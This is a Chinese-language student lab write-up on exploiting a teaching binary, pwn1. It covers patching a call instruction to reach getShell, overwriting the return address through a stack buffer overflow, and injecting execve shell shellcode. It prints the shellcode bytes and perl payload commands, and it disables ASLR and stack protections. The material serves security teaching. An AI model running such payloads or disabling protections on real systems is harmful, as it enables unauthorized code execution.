Exp1 PC平台逆向破解 Week3 - 20165201

Exp1 PC平台逆向破解 Week3 - 20165201

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（由于图片比较大，看的时候需要关闭侧边栏~）

实践目标

• 本次实践的对象是一个名为pwn1的linux可执行文件。
• 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
• 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode

实践内容

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
• 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标：

• 运行原本不可访问的代码片段
• 强行修改程序执行流
• 注入运行任意代码

基础知识

（EIP、ESP寄存器的相关知识写在了博客最后面）

• 熟悉Linux基本操作
• 能看懂常用指令,如管道（|），输入、输出重定向（>）等
• 理解Bof的原理
• 能看得懂汇编、机器指令、EIP、指令地址
• 会使用gdb,vi

实验步骤及具体操作

1、直接修改程序机器指令，改变程序执行流程

• 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

• 学习目标：理解可执行文件与机器指令

• 进阶：掌握ELF文件格式，掌握动态技术

(1)首先将pwn1用cp拷贝到作业目录，然后用mv进行重命名

(2)输入objdump -d 20165201pwn1进行反汇编

• 先看第12行，call 8048491是汇编指令

  • 是说这条指令将调用位于地址8048491处的foo函数；
  • 其对应机器指令为e8 d7ffffff，e8即跳转之意
  • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，

• main函数调用foo，对应机器指令为e8 d7ffffff，

  • 那我们想让它调用getShell，只要修改d7ffffff为，getShell-80484ba对应的补码就行。
  • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff

(3)vim 20165201pwn1

(4)先按esc，之后输入:%!xxd，以显示16进制内容

(5)输入/e8 d7快速找到我们想要的地方，注意一定要加空格！

(6)按i进入插入模式，修改d7为c3

(7):%!xxd -r将16进制内容转换为原来的格式；

(8):wq保存并退出

(9)./20165201pwn1，但此时提示权限不够

需要用chmod +x 20165201pwn1来附加权限
这时再次输入./20165201pwn1，就可以正常调用getshell了~

2、通过构造输入参数，造成BOF攻击，改变程序执行流

• 知识要求：堆栈结构，返回地址
• 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
• 进阶：掌握ELF文件格式，掌握动态技术

(1)首先拷贝一份pwn1，然后用mv进行重命名

(2)输入objdump -d 20165201pwn2进行反汇编

• 我们的目标是触发getshell函数
• 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞
• 这里读入字符串，但系统只预留了 32 字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
• call调用了foo,同时在堆栈上压上返回地址值:80484ae

(3)确认输入字符串哪几个字符会覆盖到返回地址

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给20165201pwn2，20165201pwn2就会运行getShell

(4)确认用什么值来覆盖返回地址
getShell的内存地址，通过反汇编时可以看到，即0804847d

接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d
还是输入11111111222222223333333344444444\x7d\x84\x04\x08

对比之前 eip 0x34333231 0x34333231 ，正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08

(5)构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键

关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

可以使用16进制查看指令xxd查看input文件的内容是否如预期

然后将input的输入，通过管道符“|”，作为20165201pwn2的输入

成功！！！

3、注入Shellcode并执行

(1)准备一段Shellcode

• shellcode就是一段机器指令（code）
• 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
• 所以这段机器指令被称为shellcode。
• 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

最基本的shellcode的编写可参考学姐的文章Shellcode入门，写得非常之清楚详实。以下实践即使用该文章中生成的shellcode。如下：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
关于更多Shellcode的知识，请参考Shellcode基础(不过页面好像挂了......）

(2)准备工作
要注意的是，我们的实验目前是在非常简单的一个预设条件下完成的：

• 关闭堆栈保护（gcc -fno-stack-protector）
• 关闭堆栈执行保护(execstack -s)
• 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
• x32环境下
• Linux实践环境

需要我们修改设置如下：

apt-get install execstack //安装execstack命令  
execstack -s pwn1 //设置堆栈可执行  
execstack -q pwn1 //查询文件的堆栈是否可执行  
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化   
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化  
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化   

(3)构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面，简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

• 我们这个buf够放这个shellcode了，结构为：nops+shellcode+retaddr

  • nop一为是了填充，二是作为“着陆区/滑行区”。
  • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode

输入perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
其中32个A是为了填充缓冲区，而\x04\x03\x02\x01是预留的返回地址retaddr

接下来我们来确定\x4\x3\x2\x1到底该填什么

打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./20165201pwn2

打开一个终端输入ps -ef | grep 20165201pwn2来查找进程号，可以看到第一行，进程号即为7613

打开另一个终端，用gdb调试，输入指令attach 7613

(4)通过设置断点，来查看注入buf的内存地址
用disassemble foo命令反汇编，查看foo函数

用break *0x080484ae命令设置断点，在之前的终端中按下回车，这就是前面为什么不能以\x0a（换行符）来结束 input_shellcode的原因，输入c命令继续运行
用info r esp命令查找地址，这里可以看到堆栈指针esp为0xffffd2ec

我们输入x/16x 0xffffd2ec查看其存放内容，看到0x01020304了，就是返回地址的位置。shellcode就挨着，所以shellcode的起始地址是0xffffd2f0（加4字节）

那么思路很清晰了，接下来将之前的\x4\x3\x2\x1改为这个地址即可，输入命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
图中的红框就是我们刚刚找到的shellcode起始地址

注入成功！！！

错误记录和遇到的问题

1、权限不够，调试失败

  
解决办法：输入chmod +x 20165201pwn2附加权限

2、输入ps -ef | grep 20165201pwn2时，缺少./20165201pwn2进程

解决办法：在这一步运行的时候，没用gdb调试之前千万别输入回车键！！！只输入(cat input_shellcode;cat) | ./20165201pwn2，之后gdb调试。否则就执行完了！！！

3、ESP寄存器

ESP专门用作堆栈指针，被形象地称为栈顶指针，存放当前线程的栈顶指针，堆栈的顶部是地址小的区域，压入堆栈的数据越多，ESP也就越来越小。在32位平台上，ESP每次减少4字节

4、EIP寄存器

EIP寄存器存放下一个CPU指令存放的内存地址，当CPU执行完当前的指令后，从EIP寄存器中读取下一条指令的内存地址，然后继续执行

参考资料

(1)逆向及Bof基础实践说明
(2)Shellcode入门